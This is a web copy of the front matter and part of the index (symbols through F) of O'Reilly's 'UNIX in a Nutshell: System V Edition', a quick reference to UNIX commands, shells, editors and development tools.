122 | 172 | 7A | z |
123 | 173 | 7B | { | Left Curly Brace
124 | 174 | 7C | | | Vertical Bar
125 | 175 | 7D | } | Right Curly Brace
126 | 176 | 7E | ~ | Tilde

Previous: 20.2 The Dbx Debugger | UNIX in a Nutshell: System V Edition
20.2 The Dbx Debugger | Book Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


UNIX in a Nutshell: System V Edition

By Daniel Gilly & the Staff of O'Reilly & Associates; ISBN 1-56592-001-5, 444 pages.
Second Edition, June 1992.
(See the catalog page for this book.)

Search the text of UNIX in a Nutshell: System V Edition.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface
Chapter 1: Introduction
Chapter 2: UNIX Commands
Chapter 3: The UNIX Shell: An Overview
Chapter 4: The Bourne Shell and Korn Shell
Chapter 5: The C Shell
Chapter 6: Pattern Matching
Chapter 7: The Emacs Editor
Chapter 8: The Vi Editor
Chapter 9: The Ex Editor
Chapter 10: The Sed Editor
Chapter 11: The Awk Scripting Language
Chapter 12: Nroff and Troff
Chapter 13: mm Macros
Chapter 14: ms Macros
Chapter 15: me Macros
Chapter 16: Preprocessors
Chapter 17: The SCCS Utility
Chapter 18: The RCS Utility
Chapter 19: The make Utility
Chapter 20: Program Debugging
Chapter 21: ASCII Character Set

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System

Copyright © 1998 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
Audience
Scope of This Book
Conventions
Acknowledgments
We'd Like to Hear From You

It may be a cliche, but it's true: the second edition of UNIX in a Nutshell (for System V) really is "bigger and better." Besides having a whole new appearance, the book has been revised for SVR4 and Solaris 2.0. Major additions include:

  • New SVR4 commands and options.

  • Selected BSD-derived commands from the compatibility packages.

  • Additional features specifically from Solaris 2.0.

  • Coverage of the Korn shell.

  • Sections on GNU Emacs and RCS (which aren't in standard SVR4).

  • An index to the commands described in this book.

  • Useful examples throughout the book.

Audience

This quick reference should be of interest to UNIX users and UNIX programmers, as well as to anyone (such as a system administrator) who might offer direct support to users and programmers. The presentation is geared mainly toward people who are familiar with the UNIX system - that is, you know what you want to do, and you even have some idea how to do it. You just need a reminder about the details. For example, if you want to remove the third field from a database, you might think, "I know I can use the cut command, but what are the options?" In many cases, specific examples are provided to show how a command is used.

This quick reference (or "quick ref") might also help people who are familiar with some aspects of UNIX but not with others. Many sections include an overview of the particular topic. While this isn't meant to be comprehensive, it's usually sufficient to get you started in unfamiliar territory.

And some of you may be coming from a UNIX system that runs the BSD or SunOS 4.1 version. To help with such a transition, SVR4 and Solaris 2.0 include a group of "compatibility" commands, many of which are presented in this guide.

Finally, if you're new to the UNIX operating system, and you're feeling bold, you might appreciate this book as a quick tour of what UNIX has to offer. The "Beginner's Guide" in Section 1 can point you to the most useful commands, and you'll find brief examples of how to use them, but take note: this book should not be used in place of a good beginner's tutorial on UNIX. This quick ref should be a supplement, not a substitute.

UNIX in a Nutshell: System V Edition | Next: Scope of This Book
Book Index | Scope of This Book
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Scope of This Book

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Audience Preface Next: Conventions

Scope of This Book

The quick ref is divided into five parts:

  • Part I (Sections 1 through 5) describes the syntax and options for UNIX commands and for the Bourne, Korn, and C shells.

  • Part II (Sections 6 through 11) presents various editing tools and describes their command set (alphabetically and by group). Part II begins with a review of pattern matching, including examples geared toward specific editors.

  • Part III (Sections 12 through 16) describes the nroff/troff text formatting programs, related macro packages, and the preprocessors tbl, eqn, and pic.

  • Part IV (Sections 17 through 20) summarizes the UNIX utilities for software development - SCCS, RCS, make, and program debuggers sdb and dbx.

  • Part V contains two loose ends: a table of ASCII characters and equivalent values, and a command index to help you locate the commands presented in this book.

Previous: Audience | UNIX in a Nutshell: System V Edition | Next: Conventions
Audience | Book Index | Conventions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Conventions

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Scope of This Book Preface Next: Acknowledgments

Conventions

The quick ref follows certain typographic conventions, outlined below:

Bold

is used for directories, filenames, commands, and options. All terms shown in bold are typed literally.

Italic

is used to show generic arguments and options; these should be replaced with user-supplied values. Italic is also used to highlight comments in examples.

Constant Width

is used to show the contents of files or the output from commands.

Constant Bold

is used in examples and tables to show commands or other text that should be typed literally by the user.

Constant Italic

is used in examples and tables to show generic text; these should be replaced with user-supplied values.

%, $

are used in some examples as the C shell prompt (%) and as the Bourne shell or Korn shell prompt ($).

[ ]

surround optional elements in a description of syntax. (The brackets themselves should never be typed.) Note that many commands show the argument [files]. If a filename is omitted, standard input (i.e., the keyboard) is assumed. End with an end-of-file character.

EOF

indicates the end-of-file character (normally CTRL-D).

|

is used in syntax descriptions to separate items for which only one alternative may be chosen at a time.

A final word about syntax. In many cases, the space between an option and its argument can be omitted. In other cases, the spacing (or lack of spacing) must be followed strictly. For example, -w n (no intervening space) might be interpreted differently from -w n. It's important to notice the spacing used in option syntax.

Previous: Scope of This Book | UNIX in a Nutshell: System V Edition | Next: Acknowledgments
Scope of This Book | Book Index | Acknowledgments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Acknowledgments

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Conventions Preface Next: We'd Like to Hear From You

Acknowledgments

Many people helped this book along the way. The first edition resulted from the efforts of the following staff members of O'Reilly & Associates: Jean Diaz, Dale Dougherty, Daniel Gilly, Linda Mui, Tim O'Reilly, Thomas Van Raalte, Linda Walsh, Sue Willing, and Donna Woonteiler.

The second edition has a new cover and new interior layout, designed by Edie Freedman. Arthur Saarinen drew the referee figures. Chris Reilley and Jeff Robbins assisted with graphics. The manuscript was formatted using troff macros that were implemented by Linda Mui and Lenny Muellner, and the manuscript was prepared through the efforts of Donna Woonteiler, Sue Willing, and especially Rosanne Wagger. Christine Kenney and Peter Mui were valuable resources, tracking down useful information and passing it along.

Special thanks to the technical reviewers for reading the drafts and fielding all kinds of questions; the book has profited greatly from the comments of Tan Bronson (Microvation Consultants), Peter van der Linden, and Mike Loukides (O'Reilly & Associates).

Previous: Conventions | UNIX in a Nutshell: System V Edition | Next: We'd Like to Hear From You
Conventions | Book Index | We'd Like to Hear From You
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] We'd Like to Hear From You

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Acknowledgments Preface Next: 1. Introduction

We'd Like to Hear From You

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by .hw writing writing:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

Previous: Acknowledgments | UNIX in a Nutshell: System V Edition | Next: 1. Introduction
Acknowledgments | Book Index | 1. Introduction
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

& command (ex) : Chapter 9, Reference: &
< > command (ex) : Chapter 9, Reference: < >
@ command (csh) : Chapter 5, Reference: @
! command (ex) : Chapter 9, Reference: !
[[ ]] command (ksh) : Chapter 4, Reference: [[ ]]
: command (csh)
csh shell : Chapter 5, Reference: :
: command (ksh, sh)
ksh and sh shells : Chapter 4, Reference: :
: command (sed) : Chapter 10, Reference: :
= command (ex) : Chapter 9, Reference: =
= command (sed) : Chapter 10, Reference: =
# command (csh) : Chapter 5, Reference: #
# command (ksh, sh) : Chapter 4, Reference: #
#! command (csh) : Chapter 5, Reference: #!
#! command (ksh, sh) : Chapter 4, Reference: #!shell
~ command (ex) : Chapter 9, Reference: ~

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

a command (sed) : Chapter 10, Reference: a
abbrev command (ex) : Chapter 9, Reference: abbrev
abbreviations commands (emacs) : 7.2.9. Word Abbreviation Commands
aborted programs
clearing terminal settings : Chapter 2, Reference: reset
debugging resulting files : Chapter 2, Reference: sdb
access modes, changing : Chapter 2, Reference: chmod
active processes, reports on : Chapter 2, Reference: ps
addresses for ex commands : 9.1.2. Addresses
addresses for sed commands : 10.3.1. Pattern Addressing
admin command (SCCS)
17.2.1. Creating an SCCS File
Chapter 17, Reference: admin
alias command
dbx debugger : Chapter 20, Reference: alias
ksh and sh shells : Chapter 4, Reference: alias
alias command (csh)
csh shell : Chapter 5, Reference: alias
aliases
for commands : Chapter 4, Reference: alias
email, displaying addresses for : Chapter 2, Reference: mailalias
aliases for commands
Chapter 4, Reference: unalias
Chapter 5, Reference: alias
alignment/positioning
emacs centering commands : 7.2.14. Centering Commands
emacs indentation commands
7.2.13. Indentation Commands
7.2.16. Basic Indentation Commands
of graphics, Pic preprocessor for : 16.3.8. Positioning
nroff/troff requests for : 12.5.6. Horizontal Positioning
append command (ex) : Chapter 9, Reference: append
appending to files
Chapter 2, Reference: ar
Chapter 2, Reference: cat
apropos command : Chapter 2, Reference: apropos
ar command : Chapter 2, Reference: ar
archives : Chapter 2, Reference: ar
copying : Chapter 2, Reference: cpio
link editing of : Chapter 2, Reference: lorder
removing information from : Chapter 2, Reference: strip
reorganizing : Chapter 2, Reference: tsort
args command (ex) : Chapter 9, Reference: args
argv shell variable : 5.3.3. Predefined Shell Variables
arithmetic expressions
csh shell : 5.4. Expressions
ksh shell : 4.4. Arithmetic Expressions
arithmetic operators (csh) : 5.4.1.2. Arithmetic Operators
arrays
assigning in awk : 11.6. Variables and Array Assignments
in Korn shell : 4.3.4. Arrays
as command : Chapter 2, Reference: as
ASCII character set
Chapter 2, Reference: lptest
21. ASCII Character Set
assembly language processing
as command : Chapter 2, Reference: as
cc command : Chapter 2, Reference: cc
assign command (dbx) : Chapter 20, Reference: assign
assignment operators (csh) : 5.4.1.1. Assignment Operators
at command : Chapter 2, Reference: at
atan2 command (awk) : Chapter 11, Reference: atan2
atq command : Chapter 2, Reference: atq
atrm command : Chapter 2, Reference: atrm
autoload command (ksh, sh) : Chapter 4, Reference: autoload
awk scripting language
Chapter 2, Reference: awk
11. The Awk Scripting Language
(see also nawk scripting language)
commands for : 11.7. Group Listing of Awk Commands
operators : 11.5. Operators
system variables : 11.4. Awk System Variables
variable and array assignment : 11.6. Variables and Array Assignments

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

b command (sed) : Chapter 10, Reference: b
background processes : Chapter 2, Reference: wait
banner command : Chapter 2, Reference: banner
basename command
Chapter 2, Reference: basename
(see also dirname command)
batch command : Chapter 2, Reference: batch
batch execution
at specified date/time
Chapter 2, Reference: at
Chapter 2, Reference: crontab
immediate : Chapter 2, Reference: batch
printing queued jobs : Chapter 2, Reference: atq
remove queued jobs : Chapter 2, Reference: atrm
bc command : Chapter 2, Reference: bc
bdiff command : Chapter 2, Reference: bdiff
bfs command : Chapter 2, Reference: bfs
bg command (csh) : Chapter 5, Reference: bg
bg command (ksh, sh) : Chapter 4, Reference: bg
bitwise operators (csh) : 5.4.1.3. Bitwise and Logical Operators
block size, changing : Chapter 2, Reference: dd
Bourne shell : (see sh)
branching commands (sed) : 10.4.5. Branching Commands
break command (awk) : Chapter 11, Reference: break
break command (csh) : Chapter 5, Reference: break
break command (ksh, sh) : Chapter 4, Reference: break
breaksw command (csh) : Chapter 5, Reference: breaksw
buffers (emacs) commands for : 7.2.10. Buffer Manipulation Commands
built-in shell variables
csh shell : 5.3.3. Predefined Shell Variables
sh and ksh shells : 4.3.2. Built-in Shell Variables
bundling commands : Chapter 2, Reference: xargs
bundling software packages : 1.2. Bundling

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

c command (sed) : Chapter 10, Reference: c
C programming
call-graph profile data for
displaying : Chapter 2, Reference: gprof
compiling
cc command : Chapter 2, Reference: cc
debugging : Chapter 2, Reference: ctrace
detecting bugs and errors : Chapter 2, Reference: lint
formatting files in : Chapter 2, Reference: cb
symbol cross-references : Chapter 2, Reference: cxref
C shell : (see csh)
C- commands (emacs) : 7.3.1. Control-key Sequences
cal command : Chapter 2, Reference: cal
calculator commands
bc command : Chapter 2, Reference: bc
dc command : Chapter 2, Reference: dc
calendar command : Chapter 2, Reference: calendar
calendars : Chapter 2, Reference: cal
call command (dbx) : Chapter 20, Reference: call
call-graph profile data for C programming : Chapter 2, Reference: gprof
calling out (cu command) : Chapter 2, Reference: cu
cancel command : Chapter 2, Reference: cancel
canceling commands (emacs) : 7.2.5. Stopping and Undoing Commands
capitalization : (see case)
case
converting : Chapter 2, Reference: dd
emacs commands for : 7.2.7. Capitalization Commands
case command (csh) : Chapter 5, Reference: case
case command (ksh, sh) : Chapter 4, Reference: case
cat command : Chapter 2, Reference: cat
catch command (dbx) : Chapter 20, Reference: catch
cb command : Chapter 2, Reference: cb
cc command : Chapter 2, Reference: cc
cd command (csh) : Chapter 5, Reference: cd
cd command (dbx) : Chapter 20, Reference: cd
cd command (ksh, sh) : Chapter 4, Reference: cd
cdc command (SCCS) : Chapter 17, Reference: cdc
CDPATH shell variable : 4.3.3. Other Shell Variables
cdpath shell variable : 5.3.3. Predefined Shell Variables
centering : (see alignment/positioning)
cflow command : Chapter 2, Reference: cflow
change command (ex) : Chapter 9, Reference: change
character sets, converting : Chapter 2, Reference: iconv
characters
ASCII character set : 21. ASCII Character Set
counting in files : Chapter 2, Reference: wc
Greek (Eqn preprocessor) : 16.2.4. Greek Characters
mathematical (Eqn preprocessor) : 16.2.2. Mathematical Characters
nroff/troff requests for : 12.5.5. Font and Character Size
chdir command (csh) : Chapter 5, Reference: chdir
check pseudo-command (sccs) : 17.6.2. Pseudo-commands
checksum, calculating : Chapter 2, Reference: sum
chgrp command : Chapter 2, Reference: chgrp
chkey command
Chapter 2, Reference: chkey
(see also keylogin command)
(see also keylogout command)
chmod command : Chapter 2, Reference: chmod
chown command : Chapter 2, Reference: chown
ci command (RCS)
18.2. Basic Operation
Chapter 18, Reference: ci
classifying files by data type : Chapter 2, Reference: file
clean pseudo-command (sccs) : 17.6.2. Pseudo-commands
clear command : Chapter 2, Reference: clear
clear command (dbx) : Chapter 20, Reference: clear
clock modes, setting : Chapter 2, Reference: stty
close command (awk) : Chapter 11, Reference: close
cmp : Chapter 2, Reference: cmp
co command (RCS)
18.2. Basic Operation
Chapter 18, Reference: co
cof2elf command : Chapter 2, Reference: cof2elf
COFF files, converting to ELF : Chapter 2, Reference: cof2elf
col command : Chapter 2, Reference: col
columns
merging file lines into : Chapter 2, Reference: paste
selecting from files : Chapter 2, Reference: cut
COLUMNS shell variable : 4.3.3. Other Shell Variables
comb command (SCCS) : Chapter 17, Reference: comb
combination modes, setting : Chapter 2, Reference: stty
combining files : Chapter 2, Reference: cat
comm command : Chapter 2, Reference: comm
command history
csh shell : 5.5. Command History csh shell
sh and ksh shells : 4.5. Command History
command mode (vi) : 8.1.2. Command Mode
command substitution (csh) : 5.5.1. Command Substitution
commands
aliases for
Chapter 4, Reference: alias
Chapter 4, Reference: unalias
Chapter 5, Reference: alias
awk scripting language : 11.7. Group Listing of Awk Commands
basic, list of : 1.4. Beginner's Guide
bundling : Chapter 2, Reference: xargs
for csh shell : 5.6. Built-in C Shell Commands
descriptions of, displaying : Chapter 2, Reference: whatis
emacs commands, list of : 7.2. Summary of Commands by Group
executing
after logout : Chapter 2, Reference: nohup
with multiple systems : Chapter 2, Reference: uux
wait between : Chapter 2, Reference: sleep
lower priority, executing : Chapter 2, Reference: nice
nroff/troff requests : 12.4. Default Operation of Requests
SCCS utility : 17.5. Alphabetical Summary of SCCS Commands
sed editor : 10.3. Syntax of Sed Commands
for sh and ksh shells : 4.6. Built-in Commands (Bourne and Korn Shell)
in sh and ksh shells
4.2.4. Command Forms
5.2.4. Command Forms
vi editor : 8.1.4. Syntax of Vi Commands
comments
in files, modifying : Chapter 2, Reference: mcs
in sh and ksh shells : Chapter 4, Reference: #
compacting files : (see compressing files)
comparing
directory contents : Chapter 2, Reference: dircmp
documents : Chapter 2, Reference: diffmk
files
Chapter 2, Reference: bdiff
Chapter 2, Reference: comm
diff command : Chapter 2, Reference: diff
diff3 command : Chapter 2, Reference: diff3
comparison operators (csh) : 5.4.1.4. Comparison Operators
compiling, regular expressions : Chapter 2, Reference: regcmp
compress command : Chapter 2, Reference: compress
compressing files : Chapter 2, Reference: pack
cont command (dbx) : Chapter 20, Reference: cont
continue command (awk) : Chapter 11, Reference: continue
continue command (csh) : Chapter 5, Reference: continue
continue command (ksh, sh) : Chapter 4, Reference: continue
control assignments, setting : Chapter 2, Reference: stty
control modes, setting : Chapter 2, Reference: stty
Control-key commands (emacs) : 7.3.1. Control-key Sequences
conversation between users
Chapter 2, Reference: talk
Chapter 2, Reference: write
converting
character sets : Chapter 2, Reference: iconv
COFF and ELF files : Chapter 2, Reference: cof2elf
files
string_files into msg_files : Chapter 2, Reference: mkmsgs
into tables : Chapter 2, Reference: yacc
number units : Chapter 2, Reference: units
coprocesses (Korn shell) : 4.2.6. Coprocesses
copy command (ex) : Chapter 9, Reference: copy
copying
archives : Chapter 2, Reference: cpio
files : Chapter 2, Reference: cp
between machines : Chapter 2, Reference: rcp
dd command : Chapter 2, Reference: dd
with remote systems : Chapter 2, Reference: uucp
lines from standard input : Chapter 2, Reference: vc
standard input
Chapter 2, Reference: tee
Chapter 2, Reference: tr
core images, creating : Chapter 2, Reference: gcore
cos command (awk) : Chapter 11, Reference: cos
cp command : Chapter 2, Reference: cp
cpio command : Chapter 2, Reference: cpio
create pseudo-command (sccs) : 17.6.2. Pseudo-commands
creating directories : Chapter 2, Reference: mkdir
crontab command : Chapter 2, Reference: crontab
crypt command : Chapter 2, Reference: crypt
cscope command : Chapter 2, Reference: cscope
csh (C shell) : 5. The C Shell
built-in commands, list of : 5.6. Built-in C Shell Commands
compared to sh and ksh : 3.5. Differing Features
expressions : 5.4. Expressions
invoking shell : 5.8. Invoking the Shell
job control : 5.7. Job Control
variables : 5.3. Variables
.cshrc file
5.2.1. Special Files
5.3.4. Example .cshrc File
csplit command : Chapter 2, Reference: csplit
ctags command : Chapter 2, Reference: ctags
ctrace commands : Chapter 2, Reference: ctrace
cu command : Chapter 2, Reference: cu
cursor-movement commands (emacs) : 7.2.2. Cursor Movement Commands
customizing login session : 3.2.2. Customization of Your UNIX Session
cut command
Chapter 2, Reference: cut
(see also join command; newform command; paste command)
cwd shell variable : 5.3.3. Predefined Shell Variables
cxref command : Chapter 2, Reference: cxref

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

D command (sed) : Chapter 10, Reference: D
d command (sed) : Chapter 10, Reference: d
data keywords, SCCS : 17.4. Data Keywords
data transmission, verifying : Chapter 2, Reference: sum
database files for email messages : Chapter 2, Reference: gencat
date/time
calendars : Chapter 2, Reference: cal
date command : Chapter 2, Reference: date
specifying with RCS : 18.3.5. Specifying the Date
temporal usage information
Chapter 2, Reference: time
Chapter 2, Reference: timex
dbx command : Chapter 2, Reference: dbx
dbx debugger : 20.2. The Dbx Debugger
dbxenv command (dbx) : Chapter 20, Reference: dbxenv
dc command
Chapter 2, Reference: dc
(see also bc command)
dd command : Chapter 2, Reference: dd
debug command (dbx) : Chapter 20, Reference: debug
debugging
aborted programs : Chapter 2, Reference: sdb
C programs
Chapter 2, Reference: ctrace
Chapter 2, Reference: lint
dbx command : Chapter 2, Reference: dbx
utilities for : 20. Program Debugging
default command (csh) : Chapter 5, Reference: default
deledit pseudo-command (sccs) : 17.6.2. Pseudo-commands
delete command (awk) : Chapter 11, Reference: delete
delete command (dbx) : Chapter 20, Reference: delete
delete command (ex) : Chapter 9, Reference: delete
deleting
directories : Chapter 2, Reference: rmdir
emacs commands for : 7.2.3. Deletion Commands
files from archives : Chapter 2, Reference: ar
delget pseudo-command (sccs) : 17.6.2. Pseudo-commands
delta command (SCCS)
17.2.2. Retrieving a File
Chapter 17, Reference: delta
deroff command : Chapter 2, Reference: deroff
description file lines (make) : 19.2. Description File Lines
description files : Chapter 2, Reference: make
detach command (dbx) : Chapter 20, Reference: detach
df command : Chapter 2, Reference: df
diacritical marks (Eqn) : 16.2.5. Diacritical Marks
diff command
Chapter 2, Reference: diff
(see also cmp command; sdiff command)
SCCS utility and : 17.2.4. Recording Changes
diff3 command : Chapter 2, Reference: diff3
diffmk command : Chapter 2, Reference: diffmk
diffs pseudo-command (sccs) : 17.6.2. Pseudo-commands
dircmp command : Chapter 2, Reference: dircmp
directories
comparing contents : Chapter 2, Reference: dircmp
creating : Chapter 2, Reference: mkdir
deleting
Chapter 2, Reference: rm
Chapter 2, Reference: rmdir
moving : Chapter 2, Reference: mv
navigating
Chapter 4, Reference: cd
Chapter 5, Reference: cd
news, accessing : Chapter 2, Reference: news
printing names of : Chapter 2, Reference: dirname
printing pathname of : Chapter 2, Reference: pwd
renaming : Chapter 2, Reference: mv
dirname command : Chapter 2, Reference: dirname
dirs command (csh) : Chapter 5, Reference: dirs
dis command : Chapter 2, Reference: dis
disassembling object files : Chapter 2, Reference: dis
disks
input/output : Chapter 2, Reference: cpio
reporting on disk space : Chapter 2, Reference: df
usage information : Chapter 2, Reference: du
display command (dbx) : Chapter 20, Reference: display
displaying
calendars : Chapter 2, Reference: calendar
escape sequences : Chapter 2, Reference: col
files
by screen : Chapter 2, Reference: more
logged-in users : Chapter 2, Reference: who
man pages
Chapter 2, Reference: man
Chapter 2, Reference: whatis
reverse linefeeds : Chapter 2, Reference: col
system status information : Chapter 2, Reference: who
ditroff program
12.1. Introduction
(see also troff program)
do command (awk) : Chapter 11, Reference: do
do command (ksh, sh) : Chapter 4, Reference: do
documents, comparing : Chapter 2, Reference: diffmk
done command (ksh, sh) : Chapter 4, Reference: done
down command (dbx) : Chapter 20, Reference: down
download command : Chapter 2, Reference: download
dpost command : Chapter 2, Reference: dpost
du command : Chapter 2, Reference: du
dump command (dbx) : Chapter 20, Reference: dump
dumps, octal : Chapter 2, Reference: od

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

echo command : Chapter 2, Reference: echo
echo command (csh) : Chapter 5, Reference: echo
echo command (ksh, sh) : Chapter 4, Reference: echo
echo shell variable : 5.3.3. Predefined Shell Variables
ed command : Chapter 2, Reference: ed
edit command : Chapter 2, Reference: edit
edit command (dbx) : Chapter 20, Reference: edit
edit command (ex) : Chapter 9, Reference: edit
edit pseudo-command (sccs) : 17.6.2. Pseudo-commands
editing
bfs command : Chapter 2, Reference: bfs
files
restrictions on : Chapter 2, Reference: red
editing commands (sed) : 10.4.1. Basic Editing
EDITOR shell variable : 4.3.3. Other Shell Variables
editors
stream : Chapter 2, Reference: sed
text : Chapter 2, Reference: vi
egrep command : Chapter 2, Reference: egrep
pattern-matching metacharacters : 6.2. Metacharacters, Listed by UNIX Program
ELF files, converting to COFF : Chapter 2, Reference: cof2elf
emacs editor : 7. The Emacs Editor
pattern-matching metacharacters : 6.2. Metacharacters, Listed by UNIX Program
email aliases, displaying addresses for : Chapter 2, Reference: mailalias
email messages
automatic replies to : Chapter 2, Reference: vacation
database files for : Chapter 2, Reference: gencat
encoding binary files for : Chapter 2, Reference: uuencode
internationalizing : Chapter 2, Reference: exstr
new, notifying user of : Chapter 2, Reference: notify
queues, removing : Chapter 2, Reference: ipcrm
reading
Chapter 2, Reference: mail
Chapter 2, Reference: mailx
retrieving from files : Chapter 2, Reference: gettxt
searching contents of : Chapter 2, Reference: srchtxt
searching for : Chapter 2, Reference: gettxt
sending
Chapter 2, Reference: mail
Chapter 2, Reference: mailx
to all users : Chapter 2, Reference: wall
permission status : Chapter 2, Reference: mesg
encoded files, recreating original file : Chapter 2, Reference: uudecode
encrypting
creating keys : Chapter 2, Reference: makekey
files : Chapter 2, Reference: crypt
end command (csh) : Chapter 5, Reference: end
endif command (csh) : Chapter 5, Reference: endif
enter pseudo-command (sccs) : 17.6.2. Pseudo-commands
env command : Chapter 2, Reference: env
ENV shell variable : 4.3.3. Other Shell Variables
environment variables : 5.3.5. Environment Variables
printing values of : Chapter 2, Reference: printenv
Eqn preprocessor : 16.2. Eqn
equations, formatting in nroff/troff : 16.2. Eqn
erasing : (see deleting)
ERRNO shell variable : 4.3.2. Built-in Shell Variables
error messages, formatting : Chapter 2, Reference: fmtmsg
esac command (ksh, sh) : Chapter 4, Reference: esac
escape sequences, displaying : Chapter 2, Reference: col
/etc/passwd file
4.2.1. Special Files
5.2.1. Special Files
/etc/profile file
4.2.1. Special Files
(see also shell variables)
eval command (csh) : Chapter 5, Reference: eval
eval command (ksh, sh) : Chapter 4, Reference: eval
evaluating expressions : Chapter 2, Reference: expr
ex editor
Chapter 2, Reference: ex
9. The Ex Editor
pattern-matching metacharacters : 6.2. Metacharacters, Listed by UNIX Program
search-and-replace examples : 6.4.1. Examples of Searching and Replacing
exec command (csh) : Chapter 5, Reference: exec
exec command (ksh, sh) : Chapter 4, Reference: exec
executed files, shared objects for : Chapter 2, Reference: ldd
executing commands
after logout : Chapter 2, Reference: nohup
of lower priority : Chapter 2, Reference: nice
wait between : Chapter 2, Reference: sleep
EXINIT environment variable : 5.3.5. Environment Variables
exit command (awk) : Chapter 11, Reference: exit
exit command (csh) : Chapter 5, Reference: exit
exit command (ksh, sh) : Chapter 4, Reference: exit
exit status : Chapter 2, Reference: test
commands : Chapter 2, Reference: true
exp command (awk) : Chapter 11, Reference: exp
expanding files
Chapter 2, Reference: unpack
(see also pack command; pcat command)
export command (ksh, sh) : Chapter 4, Reference: export
expr command : Chapter 2, Reference: expr
expressions, C shell : 5.4. Expressions
expressions, evaluating : Chapter 2, Reference: expr
exstr command : Chapter 2, Reference: exstr

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

face command : Chapter 2, Reference: face
factor command : Chapter 2, Reference: factor
false command : Chapter 2, Reference: false
false command (ksh, sh) : Chapter 4, Reference: false
fc command (ksh, sh)
4.5.2. The fc Command
Chapter 4, Reference: fc
FCEDIT shell variable : 4.3.3. Other Shell Variables
fg command (csh) : Chapter 5, Reference: fg
